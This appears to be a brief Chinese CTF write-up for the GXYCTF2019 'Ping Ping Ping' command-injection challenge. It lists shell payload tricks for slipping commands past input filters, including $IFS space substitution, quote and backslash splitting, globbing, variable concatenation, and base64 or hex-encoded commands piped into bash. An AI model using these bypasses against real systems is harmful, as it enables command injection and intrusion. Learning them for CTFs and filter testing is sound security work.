[GXYCTF2019]Ping Ping Ping

知识点

RCE

审题

不审了吧 很明显的rce 主要记一下一些常用的绕过方式

解题

首先如果抓不到flag可以先抓一下index 得到他的那些过滤

知道过滤之后就开始日题

常用的一些绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
绕过空格
$IFS
${IFS}
$IFS$9
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
绕过flag(绕过关键字)
ca\t fla\g.php 反斜线绕过
cat fl''ag.php 两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数
echo "63617420666c61672e706870" | xxd -r -p | bash hex编码绕过(引号可以去掉)
echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh sh的效果和bash一样
cat fl[a]g.php 用[]匹配
cat fla* 用*匹配任意
a=fl;b=ag;cat $a$b 变量替换
a=g;cat fla$a
cp fla{g.php,G} 把flag.php复制为flaG
ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的

EOF